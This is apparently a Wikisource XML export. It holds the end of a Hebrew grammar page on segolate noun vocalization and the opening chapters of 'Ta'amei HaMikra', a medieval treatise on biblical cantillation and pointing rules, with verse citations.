ולא תמצא חילוק בכל המקרא ב{{צ|אֶרֶץ}} ורעיה לא בסמיכה ולא בפרידה, ואין להם שינוי בנקודתן כדרך שאר התיבות הסמוכות, כמו {{צ|אֶרֶץ מִצְרַיִם}} {{ק|([[בראשית מא יט]])}} נמצא בהסמכו ל{{צ|מִצְרַיִם}} ננקדין כולו בסגול, כאילו הוא עומד בפני עצמו, כמו {{צ|אֶרֶץ אֶרֶץ אָרֶץ}} {{ק|([[ירמיהו כב כט]])}} ששנים מהם אינן נסמכין לשום מילה והם פתחין בסגול כמו אותו הסמוך ל{{צ|מִצְרַיִם}}. וכמו כן {{צ|גֶּשֶׁם נְדָבוֹת תָּנִיף אֱלֹהִים}} {{ק|([[תהלים סח י]])}}, {{צ|דֶּרֶךְ הַר שֵׂעִיר}} {{ק|([[דברים א ב]])}}. זולתי {{צ|הֶבֶל}} אשר נחלף בנינו בסמיכתו, כאמרך {{צ|הֲבֵל הֲבָלִים}} {{ק|([[קהלת א ב]])}}. ועוד {{צ|וְחֵמַת מַיִם}} {{ק|([[בראשית כא יד]])}} נחלף מעיקרו ונלוה אל {{צ|הֲבֵל הֲבָלִים}}, וכשאינו סמוך אל {{צ|מַיִם}} הוא נקרא {{צ|חֵמֶת}}, כגון {{צ|וַיִּכְלוּ הַמַּיִם מִן הַחֵמֶת}} {{ק|([[בראשית כא טו]])}}, [כי&quot;פ: {{צ|וַתֵּלֶךְ וַתְּמַלֵּא אֶת הַחֵמֶת}} {{ק|([[בראשית כא יט|שם פסוק יט]])}}]. ועוד {{צ|עִם גְּבַר תָּמִים}} {{ק|([[תהלים יח כו]])}} נתחלף מעיקרו ונלוה אל {{צ|הֲבֵל הֲבָלִים}}. ופתרון {{צ|עִם גְּבַר תָּמִים}}: גבר תמימות, ואינו מגזרת {{צ|תָּמִים תִּהְיֶה}} {{ק|([[דברים יח יג]])}}; ומצינו מילים על הבניין הזה. 

ודע כי {{צ|מֵכִין תֵּבֵל בְּחָכְמָתוֹ}} {{ק|([[ירמיהו י יב]])}}, וכל {{צ|תֵּבֵל}} שהוא לשון ארץ, כולו נקמץ בצירי, כדי שלא ישתוה עם {{צ|תֶּבֶל עָשׂוּ}} {{ק|([[ויקרא כ יב]])}} שתחילתו בצירי וסופו בסגול. וכן {{צ|לֹא תְקַלֵּל חֵרֵשׁ}} {{ק|([[ויקרא יט יד]])}} ננקד כולו בצירי, מפני שהוא ממשקל {{צ|גִּבֵּן}} ו{{צ|אִלֵּם}}, ואינו מגזרת {{צ|חֶרֶשׁ לֵאמֹר}} {{ק|([[יהושע ב א]])}}. 

ואל תדין {{צ|יֶרֶךְ}} ו{{צ|כֶּתֶף}} [כי&quot;מ: ו{{צ|גֶּדֶר}}] ו{{צ|גֶּזֶל}} על משקל {{צ|אֶרֶץ}} ורעיה שנגינתן מלעיל, כי לא אחד מאלה פתח בסגול ולא הטעם מלעיל כי אם בסמיכה, כגון {{צ|יֶרֶךְ יַעֲקֹב}} {{ק|([[בראשית לב כו]])}}, {{צ|אֶל כֶּתֶף הַבַּיִת}} {{ק|([[מ&quot;א ו ח]])}}, {{צ|וְגֶדֶר אֲבָנָיו נֶהֱרָסָה}} {{ק|([[משלי כד לא]])}}, {{צ|גָּזַל גֵּזֶל אָח}} {{ק|([[יחזקאל יח יח]])}}. ויש אומרים: {{צ|וְעָפוּ בְכָתֵף פְּלִשְׁתִּים}} {{ק|([[ישעיהו יא יד]])}} ראוי היה להיות נקוד כולו בסגול בעבור סמיכתו ל{{צ|פְּלִשְׁתִּים}}. וכמו כן {{צ|יֶרַח יָמִים}} {{ק|([[דברים כא יג]])}} סמוך, {{צ|יָרֵחַ}} מובדלת –{{צ|עַד בְּלִי יָרֵחַ}} {{ק|([[תהלים עב ז]])}}. וכן בשמות: {{צ|כָּבֵד לֵב פַּרְעֹה}} {{ק|([[שמות ז יד]])}} – {{צ|עַם כֶּבֶד עָוֹן}} {{ק|([[ישעיהו א ד]])}}; {{צ|עָרֵל}} – {{צ|עֲרַל שְׂפָתָיִם}} {{ק|([[שמות ו יב]])}} – {{צ|עֶרֶל לֵב וְעֶרֶל בָּשָׂר}} {{ק|([[יחזקאל מד ט]])}}; {{צ|וַיִּבֶן יְיָ אֱלֹהִים אֶת הַצֵּלָע}} {{ק|([[בראשית ב כב]])}}, {{צ|(בקבר) [בְּאֶרֶץ] בִּנְיָמִן בְּצֵלָע}} {{ק|([[ש&quot;ב כא יד]])}} – {{צ|וּלְצֶלַע הַמִּשְׁכָּן}} {{ק|([[שמות כו כ]])}}, {{צ|עַל צֶלַע צָפוֹן}} {{ק|([[שמות כו לה]])}}. ואל תטעה ותחשוב {{צ|וְצֵלַע הָאֶלֶף}} {{ק|([[יהושע יח כח]])}} סמוך וטעמו מלעיל, אינו כי אם לרע ונפרד, לפי שלא יעלה בידך חשבון {{צ|אַרְבַּע עֶשְׂרֵה}} {{ק|([[יהושע יח, כח|שם]])}} עד שתחשב {{צ|וְצֵלַע}} קריה אחת, ו{{צ|הָאֶלֶף}} קריה אחת, {{צ|גִּבְעַת}} קריה אחת, {{צ|קִרְיַת}} קריה אחת. ומבלי סמיכת {{צ|יָרֵךְ}} ו{{צ|כָּתֵף}}, תהיה תחלת אותיותיהם קמץ גדול ושני קמץ קטן, כמו {{צ|לָכֵן סְפֹק אֶל יָרֵךְ}} {{ק|([[יחזקאל כא יז]])}}, {{צ|וְלַכָּתֵף הַשֵּׁנִית}} {{ק|([[שמות כז טו]])}}, {{צ|גָּדֵר מִזֶּה וְגָדֵר מִזֶּה}} {{ק|([[במדבר כב כד]])}}, [כי&quot;פ: {{צ|אוֹ בְגָזֵל}} {{ק|([[ויקרא ה כא]])}}]. 


[[קטגוריה:לשון הקודש ודקדוק]]
[[קטגוריה:יצירות שנכתבו בערבית יהודית]]</text>
      <sha1>t1lk61cpxctxrrq5byy7dwi2gjv15et</sha1>
    </revision>
    <revision>
      <id>3020765</id>
      <parentid>3020733</parentid>
      <timestamp>2026-06-19T11:10:26Z</timestamp>
      <contributor>
        <username>מו יו הו</username>
        <id>37729</id>
      </contributor>
      <comment>/* 1.6 */</comment>
      <origin>3020765</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="129457" sha1="2pnrzks6sewcjpm177skuong26f794h" xml:space="preserve">{{דף שער|טעמי המקרא}}

{{מסגרת|
&quot;טעמי המקרא&quot; הוא שמו של תרגום עברי לספר &quot;מכ'תצר הדאיה אלקאר&quot; ({{=}}הוריית הקורא הקצר). תרגום זה מכונה כך בכ&quot;י פריס, Ms. hebr. 1221, שממנו נדפס הספר לראשונה ע&quot;י יוחנן מירקירוס, פריס שכ&quot;ו. העתקה נוספת של תרגום זה מצויה בכ&quot;י מילאנו, הספריה האמבורסיאנית, 88 (A 186 inf.), ושם הוא מכונה &quot;תוכן עזרא&quot;. מהדורת ויקיטקסט מבוססת על שני כתבי יד אלו (לפרטים נוספים ראו בדף [[טעמי המקרא (הוריית הקורא)/אודות המהדורה|כאן]]).}}
=[הקדמה]=
הרוצה לידע ולהבין תנאי דקדוק המקרא בנקודיה ובטעמיה – יבקש בזה הספר. אם יאמר האומר: מה צורך יש לדעת תנאי המקרא? יכול אדם להשיבו ולומר לו: לפי שהטעמים משונים זה מזה; ואותו השינוי כדי להפריד בין זכר לנקבה, כגון {{צ|ק֥וּמִי א֖וֹרִי}} {{ק|([[ישעיהו ס א]])}} – שתי תיבות הללו לשון נקבה הן, ויורה על זה הטעם שבא על האות הראשון שלתיבה, אבל {{צ|לְיוֹם קוּמִ֣י לְעַד}} {{ק|([[צפניה ג ח]])}} דטעמיה לרע, וזה {{צ|יְיָ אוֹרִ֣י וְיִשְׁעִי}} {{ק|([[תהלים כז א]])}}, אלו לשון זכר, בעבור שנתאחר הטעם לרע. 

ועוד מודיעים הטעמים ביאור שני, כגון זה {{צ|שָׁ֩בוּ֩ עַל עֲוֹנֹת אֲבוֹתָם}} {{ק|([[ירמיהו יא י]])}}, הטעם על השי&quot;ן מפני שהוא לשון תשובה; אבל {{צ|שָׁב֖וּ וַיָּבֹזּוּ}} {{ק|([[בראשית לד כט]])}} שהוא לשון שְׁבִי, טעמיה לרע על הבי&quot;ת, וכעניין הזה הרבה במקרא. 

ועתה, אילו קרא אדם טעמי האחד ועשרים ספרים בטעמי שלשת הספרים – תילים ואיוב ומשלי – נשחת עליו מודע הבינה. וכן אילו קרא במקום שלשלת מרכא או במקום מרכא שלשלת, היה טועה בכולם יחד. ולפי שיש לטעמים שערים הרבה, הוזקקנו לדעת עומקם. 

=1=

==1.1==

פרק הראשון: להשכין האותיות – לדעת שיכנם והנעתם.

א&quot;ח ה&quot;ע שיכנם בעיקר הלשון ובבית הבליעה, והוא ראש הקנה ושורש הלשון, והן קלות מכל האותיות, ואין אדם יכול להדגישן כלל. 

הה&quot;א והאל&quot;ף יוזמים בני אדם להדגישן, ולא יתכן, שהנקודה הנמצאת תחת ה&quot;א בסוף התיבה מוֹדעת עיקר הה&quot;א, שאם תמצא ה&quot;א בראש המילה או באמצעיתה ויהיה תחתיה קמץ או פתח, לא יקרא בדגש. והאל&quot;ף נמצאת בארבעה מקומות כמו דגשה, והן {{צ|וַיָּבִיאּוּ לוֹ אֶת הַמִּנְחָה}} דיוסף {{ק|([[בראשית מג כו]])}}, {{צ|תָּבִיאּוּ לֶחֶם תְּנוּפָה}} {{ק|([[ויקרא כג יז]])}}, {{צ|וַיָּבִיאּוּ לָנוּ כְּיַד אֱלֹהֵינוּ}} דעזרא, {{ק|([[עזרא ח יח|ח יח]])}}, {{צ|וְשֻׁפּוּ עַצְמוֹתָיו לֹא רֻאּוּ}} {{ק|([[איוב לג כא]])}}. ואלו ארבעה קיבלום הראשונים ואין זולתם, ואף על פי כן לא יתכן להדגיש אל&quot;ף. 

יש אותיות שמתחלפות זו בזו, כגון {{צ|בִּזַּר}} {{ק|([[תהלים סח לא]])}} – {{צ|פִּזַּר}} {{ק|([[תהלים נג ו]])}}, {{צ|יַעֲלֹס}} {{ק|([[איוב כ יח]])}} – {{צ|יַעֲלֹז}} {{ק|([[תהלים צו יב]])}} – {{צ|יַעֲלֹץ}} {{ק|([[דה&quot;א טז לב]])}}, וכאלה רבים. 

==1.2==

פרק השני: על אותיות יהו&quot;א ובג&quot;ד כפ&quot;ת.

אלו אותיות יהו&quot;א, אם היתה אחת מהן בסוף המילה, והמילה עומדת במשרת, והמילה הסמוכה אחריה תחלתה אחת מן אותיות בג&quot;ד כפ&quot;ת, יוצאה אותה האות ברפי, כגון {{צ|כִּ֤י בְֿאַפָּם֙}} {{ק|([[בראשית מט ו]])}}, {{צ|וַיְהִ֤י דְֿבַר־יְיָ֙}} {{ק|([[מ&quot;א טז א]])}}, {{צ|וְאֶקְחָ֨ה פַֿת־לֶ֜חֶם}} {{ק|([[בראשית יח ה]])}} והדומין להן. 

ויוצאין מכלל העניין הזה [כי&quot;פ: תשעה] [כי&quot;מ: שמונה] שמבטלין את הרפי, ואלו הן: דפסיק, ודדחיק, ודאתי מרחיק, ומפיק ה&quot;א, ומפיק ו&quot;ו, ומפיק יו&quot;ד, ושתי אותיות רצופות שתחת הראשונה שבא, ובי&quot;ת ופ&quot;ה. 

התנאי הראשון – דפסיק – כיצד; כל זמן שיהיה בין אות יהו&quot;א ובין אות בג&quot;ד כפ&quot;ת פסק, לא יהיה כח לאות יהו&quot;א לרפות אות שלאחריו, מפני הפסק הממוצע ביניהם כעין מקל, כגון {{צ|{{ק|(ו)}}יוֹסֵף יְיָ עַל עַמּ֤וֹ׀ כָּהֵם֙}} {{ק|([[דה&quot;א כא ג]])}}, {{צ|עָשׂ֣וּ׀ כָּלָ֑ה}} {{ק|([[בראשית יח כא]])}}, וכל דומיהן. 

התנאי השני – דדחיק – הוא שיהיה בתיבת יהו&quot;א אחר המשרת מלך, ובתיבה הסמוכה לה אין מלך קודם הטעם, כגון {{צ|וְאָעִ֣ידָה בָּ֔ם}} {{ק|([[דברים לא כח]])}}, {{צ|וְהָגִ֤יתָ בּוֹ֙}} {{ק|([[יהושע א ח]])}} ודומיהן. 

אבל אם יש ביניהן יותר ממלך אחד, כגון {{צ|מְבָרֲכֶ֣יךָ בָר֔וּךְ}} {{ק|([[במדבר כד ט]])}}, {{צ|נָחִ֥יתָ בְחַסְדְּךָ֖}} {{ק|([[שמות טו יג]])}}, {{צ|נֵהַ֥לְתָּ בְעׇזְּךָ֖}} {{ק|([[שמות טו יג|שם]])}} ודומיהן, יתקיים בהן חוק יהו&quot;א. 

ועוד, אם אין ביניהן מלך, כגון {{צ|הָיְתָ֥ה תֹ֙הוּ֙}} {{ק|([[בראשית א ב]])}}, {{צ|הִנֵּה נָא}}, {{צ|וְנָתַתָּ֥ שָׁ֖מָּה מָיִם}} {{ק|([[שמות ל יח]])}}, נוהג בהן חוק יהו&quot;א להרפות, ובכל דומיהן. 

ופעמים שהדוחֵק במילה שאין בה טעם כלל, ומדגיש, מפני שהיא תיבה בת שתי אותיות ואינה יכולה להאריך, אלא מקפת שלאחריה ומדגישה, כגון {{צ|מַה־תֹּאמַר}} {{ק|([[ש&quot;א כ ד]])}}, {{צ|זֶה־בְּנִי הַחַי}} {{ק|([[מ&quot;א ג כג]])}} ודומיהן. 

ואלו המחלקות אינם נוהגות כי אם בהברת ה&quot;א לבדה, אבל ביו&quot;א, אם אין טעם הקרייה מבטלת חוק יהו&quot;א, אין עלילה אחרת מבטלתן כי אם הפסק לבדו. הלא תראה {{צ|אֲשֶׁר הוֹרַדְתֵּ֣נוּ ב֔וֹ}} {{ק|([[יהושע ב יח]])}}, אף על פי שמלך דחוק שם אינו מדגיש, וכן נוהג ביו&quot;ד ואל&quot;ף. מה טעם, שהברת ו&quot;ו ויו&quot;ד ואל&quot;ף לא יהיה בסוף התיבה אם אינה כתובה, אבל הברת ה&quot;א נשמעת בסוף המילה או כתובה או לא כתובה. 

ואע&quot;פ כן יש מקצת מילין הנדגשות אחר ו&quot;ו והן על פי המסורת, והן {{צ|וַיֹּאמְר֣וּ לֹּ֔א כִּי בָרְחוֹב}} {{ק|([[בראשית יט ב]])}}, {{צ|וַיֹּאמְר֣וּ לֹּ֔א כִּי מֶלֶךְ}} {{ק|([[ש&quot;א ח יט]])}}, {{צ|וַיֹּאמְרוּ֩ ל֨וֹ הַחֲרֵשׁ}} דבני דן {{ק|([[שופטים יח יט]])}}, {{צ|וַיֹּאמְרוּ֩ לּ֨וֹ חֲכָמָיו}} {{ק|([[אסתר ו יג]])}}, [כי&quot;פ: {{צ|ק֤וּמוּ צְּאוּ֙ מִן הַמָּקוֹם}} דלוט {{ק|([[בראשית יט יד]])}}, {{צ|ק֤וּמוּ צְּאוּ֙ מִתּוֹךְ עַמִּי}} {{ק|([[שמות יב לא]])}}]. 

וכל מקום שתמצא תיבה שהיא לשעבר, כגון {{צ|לָמָּה חָ֣רָה לָ֔ךְ}} {{ק|([[בראשית ד ו]])}}, {{צ|אֲשֶׁר עָ֥שָׂה שָׁ֖ם בָּרִאשֹׁנָה}} {{ק|([[בראשית יג ד]])}}, חוק יהו&quot;א נוהג בהם, אע&quot;פ שמלך דחוק הויֶה שמה. ואם היא להבא, כגון {{צ|הָ֤בָה נָּא֙ אָבוֹא אֵלַיִךְ}} {{ק|([[בראשית לח טז]])}}, חוק יהו&quot;א בטל שם. 

ואם נמצאת אות יהו&quot;א שאינה נקראת כלל בסוף תיבה, כגון {{צ|וַיַּרְא בָּלָק}} {{ק|([[במדבר כב ב]])}}, לא תיקרי הבי&quot;ת ברפי כי אם בדגש, לפי שהאל&quot;ף אינה נקראת כלל. 

ואם לא נכתבה אות יהו&quot;א בסוף התיבה, הואיל והברתה נשמעת שם, מרפה האות שלאחריה, כגון {{צ|וְעָשִׂ֥יתָ בַ֖דֵּי עַצֵּי}} {{ק|([[שמות כה יג]])}} וכל דומיו. 

התנאי השלישי – דאתי מרחיק – יש בו חילוק כמעט מן דחיק שאמרנו לעיל; אם נתרחק הטעם בתיבה השלישית הבאה אחרי המשרת, נשפך עליו כסוללה להדגיש האות אשר אחרי יהו&quot;א, כגון [כי&quot;מ: {{צ|אוֹ יָרֹה יִיָּרֶה}} {{ק|([[שמות יט יג]])}},] {{צ|הוּא יִבְנֶה־בַּיִת}} {{ק|([[ש&quot;ב ז יג]])}}, {{צ|הֲלַמֵּתִים תַּעֲשֶׂה־פֶּלֶא}} {{ק|([[תהלים פח יא]])}}, {{צ|סוּרָה שְׁבָה־פֹּה פְּלֹנִי}} {{ק|([[רות ד א]])}}. 

ועוד, אם תיבת אות יהו&quot;א גדולה ובאה על התיבה שלאחריה במקף, והיא מן שתי אותיות, כגון {{צ|וְאֵלְכָה אֵלֶיהָ וְאֶדְרְשָׁה־בָּהּ}} {{ק|([[ש&quot;א כח ז]])}} והדומין לו, נבטל שם חוק יהו&quot;א. 

התנאי הרביעי – מפיק ה&quot;א – כיצד, כל מקום שיהיה נקודה תחת ה&quot;א בסוף התיבה, יבטל בה חוק יהו&quot;א, ותהיה דגש האות הסמוכה לה, כגון {{צ|מַחֲצִיתָהּ בַּבֹּקֶר}} {{ק|([[ויקרא ו יג]])}}, {{צ|וְכָל אֲשֶׁר אִתָּהּ בַּבַּיִת}} {{ק|([[יהושע ו יז]])}}, {{צ|וְלַהּ גַּפִּין אַרְבַּע}} {{ק|([[דניאל ז ו]])}} וכל דומיהן. 

התנאי החמישי: כל מפיק ו&quot;ו בסוף התיבה, האות הראשונה מן התיבה השנייה לה היא נדגשת, ויבטל שם חוק יהו&quot;א, כגון {{צ|חֲצֵרֹתָיו בִּתְהִלָּה}} {{ק|([[תהלים ק ד]])}}, {{צ|אֵלָיו פִּי קָרָאתִי}} {{ק|([[תהלים סו יז]])}}, {{צ|יָדָיו תְּבִיאֶינָה}} {{ק|([[ויקרא ז ל]])}} והדומין להן, בר מן ב': {{צ|וְנָטָה עָלֶיהָ קַֽו־תֹ֖הוּ}} {{ק|([[ישעיהו לד יא]])}}, {{צ|וְקוֹל הָמוֹן שָׁלֵ֣ו בֶָהּ֒}} {{ק|([[יחזקאל כג מב]])}}, שאע&quot;פ שמפקין ו&quot;ו הם מרפין. 

התנאי השישי: כל מפיק יו&quot;ד בסוף התיבה לא יתקיים בו מנהג יהו&quot;א ולא ירפה האות שלאחריו, כגון {{צ|שָׂרַי גְּבִרְתִּי}} {{ק|([[בראשית טז ח]])}}, {{צ|אוּלַי תַּעֲרוֹצִי}} {{ק|([[ישעיהו מז יב]])}}, {{צ|(ואחרי) [יְאָתְרַי] בְּנוֹ}} {{ק|([[דה&quot;א ו ו]])}} ודומיהן. בר מן חד: {{צ|אֲדֹנָ֥י בָ֝֗ם סִינַי בַּקֹּדֶשׁ}} {{ק|([[תהלים סח יח]])}}. 

וזה המנהג נוהג ביו&quot;ד בזמן שהיא נקראת ב'אָה'; אבל אם היא נקראת מלא פום, כגון {{צ|כִּי מִי גוֹי גָדוֹל}} {{ק|([[דברים ד ז]] עי&quot;ש)}}, {{צ|גּוֹי מֵרָחֹק}} {{ק|([[דברים כח מט]])}}, {{צ|אוֹי נָא לִי}} {{ק|([[ירמיהו ד לא]])}} וכל הדומין להן, חוק יהו&quot;א נוהג בהן. 

התנאי השביעי מדבר על שתי אותיות רצופות, והן בשני בי&quot;ת-בי&quot;ת או שני כ&quot;ף-כ&quot;ף שנתחברו יחד בראש התיבה, ויהיה תחת הראשונה שבא, יִבָּטל בה חוק יהו&quot;א ומדגיש, כגון {{צ|וַיְהִי בְּבוֹאָם}} {{ק|([[ש&quot;א טז ו]])}}, {{צ|וַתִּתְפְּשֵׂהוּ בְּבִגְדוֹ}} {{ק|([[בראשית לט יב]])}}, {{צ|כְּכֹל}}, {{צ|הֲלֹא כְּכַרְכְּמִישׁ כַּלְנוֹ}} {{ק|([[ישעיהו י ט]])}}. 

ואם היה תחת הראשונה מלך, נתקיים בה תנאי יהו&quot;א, כגון {{צ|וְהוּא אִשָּׁה בִבְתוּלֶיהָ יִקָּח}} {{ק|([[ויקרא כא יג]])}}, {{צ|אֲזַלוּ בִבְהִילוּ}} דעזרא {{ק|([[עזרא ד כג|ד כג]])}} ודומיהן.

התנאי השמיני [כי&quot;פ: והתשיעי] מדבר שכל מקום שיהיה בי&quot;ת בראש התיבה ותחתיה שבא, והאות השנייה לה פ&quot;ה או מ&quot;ם, יבטל שם חוק יהו&quot;א, כגון {{צ|וְאִכָּבְדָה בְּפַרְעֹה}} {{ק|([[שמות יד ד]])}}, {{צ|אֲשֶׁר שַׂמְתִּי בְּפִיךָ}} {{ק|([[ישעיהו נט כא]])}}, {{צ|וַיַּחֲנוּ בְּמִדְבַּר צִן}} {{ק|([[במדבר לג לו]])}} וכל דומיהן. ואם יהיה מלך תחת הבי&quot;ת בראש התיבה יתקיים בו תנאי יהו&quot;א, כגון {{צ|אַל יֵרֶא בִפְלַגּוֹת}} {{ק|([[איוב כ יז]])}}. 

ויש כ&quot;פין הבאות אחר {{צ|וַיְהִי}} בראש התיבה, מקצתן ידגישו ומקצתן ירפו, לפי עניין שיתכן לשון הקורא, כגון {{צ|וַיְהִי כִשְׁמֹעַ}} {{ק|([[בראשית כט יג]])}}, {{צ|כְשָׁמְעוֹ}} {{ק|([[בראשית לט טו]])}}, {{צ|כְהוֹצִיאָם}} {{ק|([[בראשית יט יז]])}}, {{צ|כְמָלְכוֹ}} {{ק|([[מ&quot;א טו כט]])}}, {{צ|כִרְאוֹת}} {{ק|([[אסתר ה ב]])}}, {{צ|כִרְאוֹתוֹ}} {{ק|([[שופטים יא לה]])}}, {{צ|כַאֲשֶׁר}} {{ק|([[דברים ב טז]])}}, ולפי העניין שיתכן לשון הקורא להדגיש ידגיש, לרפות – ירפה. 

ויש במקרא ז' מילין שאין להן עלילות אילו הט' ומדגישין, ואילו הן: {{צ|כִּי גָאֹה גָּאָה}} {{ק|([[שמות טו א]])}}, וחביריו {{ק|([[שמות טו כא]])}}, {{צ|יִדְּמוּ כָּאָבֶן}} {{ק|([[שמות טו טז]])}}, {{צ|מִי כָּמֹכָה נֶאְדָּר}} {{ק|([[שמות טו יא]])}}, ובישעיה {{צ|וְשַׂמְתִּי כַּדְכֹד}} {{ק|([[ישעיהו נד יב]])}}, ובירמיה {{צ|וְנִלְאֵיתִי כַּלְכֵל}} {{ק|([[ירמיהו כ ט]])}}, ובדניאל {{צ|וְחָכְמָה כְּחָכְמַת אֱלָהִין}} {{ק|([[דניאל ה יא]])}}, {{צ|גְדָבְרַיָּא דְּתָבְרַיָּא}} {{ק|([[דניאל ג ב|שם ג ב]])}}, ואין אדם יכול להשיב עליהן, שכך הן מקובלין. 

==1.3== 

שער התי&quot;ו.

בג' מקומות נדגשת התי&quot;ו מכל הת&quot;וין הנדגשות, והן {{צ|וַיְשִׂימֶהָ תֵּל עוֹלָם}} {{ק|([[יהושע ח כח]])}}, ו{{צ|בָּתָּיו וְגַנְזַכָּיו}} {{ק|([[דה&quot;א כח יא]])}}, {{צ|וְגֻבְרַיָּא אִלֵּךְ תְּלָתֵּהוֹן}} {{ק|([[דניאל ג כג]])}}. וכל {{צ|בַּתִּים}} שהם לשון מידה, כגון {{צ|וְיַיִן בַּתִּים עֶשְׂרִים אֶלֶף וְשֶׁמֶן בַּתִּים עֶשְׂרִים אָלֶף}} {{ק|([[דה&quot;ב ב ט]])}}, דכוותהון דגש, ופתח; אבל {{צ|בָּתִּים}} שהן לשון דירה, כגון {{צ|וּבָתִּים מְלֵאִים כָּל טוּב}} {{ק|([[דברים ו יא]])}}, {{צ|הֵנִיס אֶת עֲבָדָיו וְאֶת מִקְנֵהוּ אֶל הַבָּתִּים}} {{ק|([[שמות ט כ]])}}, כולהון קמצין ואינן מדגישין בחוזק, מבלעדי {{צ|וְאֶת בָּ֨תָּ֜יו וְגַנְזַכָּיו}}, שאף על פי שהוא לשון דירה הוא מדגיש בחוזק ונקמץ, מפני שיש בו משרת וטעם, ונראה כאילו הוא שתי תיבות. ויש שמוסיפין עליהן להדגיש בחוזק {{צ|וּבָ֨תִּ֜ים מְלֵאִים כָּל טוּב}}, הואיל שהמשרת והטעם יחד בתיבה. 

==1.4== 

שער על הדיבור במלכים.

תוכן המילה: אות יתכן להיות בתיבה בלא מלך ומלך יתכן בלא אות. וכלל המלכים הם שבעה, והם אֹ אָ אַ אֵ אֶ אִ אֻ. ויוצא יהו&quot;א מתחת ממשלת אלו שבעת המלכים מן הקמץ ומן הפתח ומן אוֹ ומן אִי. ועתה אל&quot;ף וה&quot;א יוצא מן הקמץ ומן הפתח, כמו {{צ|עֲבָדֶיךָ}}, {{צ|עַמְּךָ}}, {{צ|קָשָׁה}}, שאף על פי שלא נכתבה ה&quot;א ב{{צ|עֲבָדֶיךָ}} וב{{צ|עַמְּךָ}} הקמץ מודיעה, כאשר מודיע ב{{צ|קָשָׁה}} כאשר נכתבה. וזה עניין סוף התיבה. ובאמצע התיבה מורה כמו כן הקמץ והפתח אל&quot;ף או ה&quot;א, כמו {{צ|שָׁמַר}}, {{צ|זָכַר}}, (מזבח) [נ&quot;א: {{צ|זֹבֵחַ}}], {{צ|זוֹרֵעַ}} {{צ|שֹׁמֵעַ}}. והנקודה שהיא באה בסגול למעלה תורה על ו&quot;ו, כמו {{צ|זֹכֵר}}, {{צ|שֹׁמֵר}}, {{צ|אֹמֵר}}, {{צ|עֹמֵד}}. והשתי נקודות ונקודה אחת מלמטה יורו על יו&quot;ד באִי ואֵי אף על פי שאינה כתובה, כגון {{צ|אִשָּׁה}}, {{צ|אֵשֶׁת}}, וכהנה רבים, שהיו&quot;ד רגילה להיות חסרה בתיבה ונקראת על פי הנקודות. וג' הנקודות הנקראות שרק שהן מוצבות למטה, והנקודה שבתוך הו&quot;ו יורו עלי וי&quot;ו, כגון {{צ|קוּמוּ צְּאוּ}} {{ק|([[בראשית יט יד]])}}. ובעניין הזה יוצא יהו&quot;א מתחת ממשלת ז' המלכים, שיש מקומות הרבה שהן נקראות ואינן נכתבות, ועל פי הנקודות קריאתן.

==1.5==

שער על הקמץ הגדול ועל הפתח הגדול, באי זה מקום יוכשר הקמץ ובאי זה הפתח. 

תדע ותבין ששמונה דברים מבטלין את הקמץ, ואלו הן: הדגש, והשבא, והמקף, וכל תיבה שבסופה אִי, או נִי, וח', וע', והדבוק לתיבה שלאחריו. 

השער הראשון: כל אות המודגשת בתיבה האות שלפניה נפתחת, כגון {{צ|הַגַּל}}, {{צ|מַכָּה}}, {{צ|שַׁבֵּר}}, {{צ|דַּבֵּר}}, ודומיהן. ואם האות ברפי האות שלפניה נקמצת, כגון {{צ|דָּבָר}}, [כי&quot;פ: {{צ|שָׁמַר}}] [כי&quot;מ: {{צ|שָׁבַר}}], {{צ|עָבַר}}, {{צ|בָּשָׂר}}. וכעניין זה דגש מבטל קמץ שלפניו. 

שער ב' מדבר על השבא שמבטל את הקמץ באות שלפניו, כגון {{צ|הַגְרִיאִים}} {{ק|([[דה&quot;א ה יט]])}}, {{צ|דַרְדַּע}} {{ק|([[מ&quot;א ה יא]])}}, {{צ|בַּעֲלִיס}} {{ק|([[ירמיהו מ יד]])}}, {{צ|גַּבְנֻנִּים}} {{ק|([[תהלים סח טז]])}}, {{צ|טַבְרִמֹּן}} {{ק|([[מ&quot;א טו יח]])}}, בעבור השבא נפתחת האות שלפניו. וכעניין הזה נוהג כל המקרא. 

שער ג' הוא המקף שהוא פותח את תיבתו ונשפך כסוללה על תיבה הסמוכה לה, כגון {{צ|מַה־תֹּאמַר}} {{ק|([[ש&quot;א כ ד]])}}, {{צ|מַה־נֹּאמַר}} {{ק|([[בראשית מד טז]])}}, {{צ|מַה־בֶּצַע}} {{ק|([[בראשית לז כו]])}}, {{צ|מַה־נֹּאכַל}} {{ק|([[ויקרא כה כ]])}}. והעניין הזה נוהג בתיבה קטנה בת שתי אותיות, בין בפתח גדול ובין בפתח קטן, כגון {{צ|זֶה־בְּנִי הַחַי}} {{ק|([[מ&quot;א ג כג]])}}. 

וכן פעמים שתמצא התיבה שהיא בת שלש אותיות או ארבע או יותר והן נדגשות, כגון {{צ|עֹ֤שֶׂה פְּרִ֔י}} {{ק|([[בראשית א יא]])}}, {{צ|אַ֣רְצָה כְּנַ֔עַן}} {{ק|([[בראשית יא לא]])}}, שאף על פי שאין בהן מלך דחוק הן נדגשין, הואיל והמשרת בראש התיבה הראשונה, והאות מראש התיבה השנייה היא ננקדת בשבא, לפיכך היא נדגשת.

שער ד' הוא מפיק י' שבתיבה, בין באמצעיתה בין בסופה. באמצע תיבה, כגון {{צ|הַשָּׁמַיִם}}, {{צ|הָעַרְבַּיִם}}, {{צ|הַמַּיִם}} ודומיהן; בסוף תיבה, כגון {{צ|אָזְנַי}}, {{צ|בָּנַי}}, {{צ|בְּנוֹתַי}}, {{צ|עֵינַי}}, {{צ|כַּפַּי}} ודומיהן. 

בר מן עניין אחד: כל שם הנקרא באל&quot;ף דל&quot;ת הוא נקמץ; ואם הוא דרך חול, כגון {{צ|הִנֶּה נָּא אֲדֹנַי}} {{ק|([[בראשית יט ב]])}}, הוא פתח, ואף על פי שאין זולתו. [כי&quot;מ: אבל {{צ|אֲדֹנָי}} שהוא דרך קודש, כגון {{צ|אֲדֹנָי יֱהֹוִה}}, קמץ, וכל דומיו.]

